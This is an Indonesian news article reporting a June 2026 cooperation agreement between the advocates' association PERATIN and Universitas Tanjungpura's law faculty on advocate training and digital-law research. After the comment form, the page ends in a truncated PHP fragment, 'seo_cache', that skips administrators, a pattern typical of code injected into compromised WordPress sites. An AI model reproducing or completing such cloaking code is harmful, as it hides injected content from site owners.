Nasional

PERATIN dan Fakultas Hukum UNTAN Resmi Berkolaborasi, Perkuat Ekosistem Hukum Digital dan Cetak Advokat Masa Depan

×

PERATIN dan Fakultas Hukum UNTAN Resmi Berkolaborasi, Perkuat Ekosistem Hukum Digital dan Cetak Advokat Masa Depan

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM – Perkumpulan Advokat Teknologi Informasi Indonesia (PERATIN) resmi menjalin kerja sama strategis dengan Fakultas Hukum Universitas Tanjungpura (FH UNTAN) melalui penandatanganan Nota Kesepahaman (MoU) dan Perjanjian Kerja Sama (PKS), Rabu (17/6/2026).

Kegiatan yang berlangsung secara virtual melalui Zoom ini menjadi langkah konkret dalam memperkuat sinergi antara organisasi profesi advokat dan institusi pendidikan tinggi untuk membangun sumber daya manusia hukum yang unggul, adaptif, dan siap menghadapi tantangan era transformasi digital.

Penandatanganan MoU dilakukan antara PERATIN dan Universitas Tanjungpura yang diwakili Dekan Fakultas Hukum UNTAN, Dr. Sri Ismawati, S.H., M.Hum., mewakili Rektor Universitas Tanjungpura. Selanjutnya dilakukan penandatanganan PKS antara PERATIN dan Fakultas Hukum UNTAN sebagai dasar pelaksanaan berbagai program kolaboratif ke depan.

Kerja sama ini mencakup penyelenggaraan Pendidikan Khusus Profesi Advokat (PKPA), Ujian Profesi Advokat (UPA), seminar nasional, lokakarya, penelitian bersama, pengabdian kepada masyarakat, program magang, kuliah praktisi, hingga pengembangan kajian hukum teknologi informasi.

Fokus kolaborasi juga diarahkan pada isu-isu strategis seperti transaksi elektronik, perlindungan data pribadi, keamanan siber, kecerdasan buatan (Artificial Intelligence/AI), serta perkembangan hukum digital yang semakin kompleks.

Ketua Umum DPN PERATIN, Kamilov Sagala, S.H., M.H., menegaskan bahwa transformasi digital menuntut hadirnya praktisi hukum yang memiliki kemampuan multidisipliner.

“Melalui sinergi ini, PERATIN berkomitmen mendukung dunia akademik dalam menyiapkan calon praktisi hukum yang tidak hanya unggul secara akademis, tetapi juga memiliki kompetensi profesional dan pemahaman komprehensif terhadap dinamika hukum teknologi informasi,” ujarnya.

Ketua Pengawas DPN PERATIN, Jemy Tommy, S.H., S.E., M.M., Ph.D. (c), menilai kolaborasi organisasi profesi dan perguruan tinggi menjadi kebutuhan strategis dalam menjaga kualitas dan integritas profesi advokat.

Sementara itu, Sekretaris Jenderal DPN PERATIN, Ir. Soegiharto Santoso, S.H. (Hoky), menyebut, kerja sama ini diharapkan dapat memperluas jejaring pengembangan profesi advokat teknologi informasi di berbagai daerah serta memperkuat kolaborasi antara akademisi, praktisi, pemerintah, dan dunia usaha.

Dekan Fakultas Hukum UNTAN, Dr. Sri Ismawati, SH, M.Hum, menyampaikan, kemitraan ini menjadi jembatan antara teori yang dipelajari mahasiswa dengan kebutuhan praktik profesional di lapangan.

Ia berharap kerja sama tersebut dapat memperluas wawasan mahasiswa serta memberi kontribusi nyata terhadap perkembangan hukum nasional, khususnya dalam menghadapi tantangan teknologi, keamanan siber, perlindungan data pribadi, dan ekonomi digital.

Dewan Pakar DPN PERATIN, Prof. Dr. Ir. Gunawan Wibisono, Ph.D., turut menekankan bahwa perkembangan teknologi seperti kecerdasan buatan, Internet of Things (IoT), big data, blockchain, dan komputasi awan telah melahirkan berbagai persoalan hukum baru yang membutuhkan pendekatan lintas disiplin.

Menurutnya, kebutuhan terhadap advokat dan praktisi hukum yang memahami teknologi informasi akan terus meningkat seiring pertumbuhan ekonomi digital dan kompleksitas transaksi elektronik.

Kerja sama dengan Fakultas Hukum UNTAN ini menjadi bagian dari komitmen berkelanjutan PERATIN dalam meningkatkan kapasitas dan kompetensi advokat Indonesia melalui model pembelajaran hukum yang modern, inklusif, dan berkelanjutan.

Melalui kemitraan ini, kedua institusi optimistis dapat menghadirkan kontribusi nyata bagi penguatan literasi hukum digital, peningkatan kualitas profesi advokat, serta pembangunan sistem hukum nasional yang responsif terhadap perkembangan zaman. ( TAP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>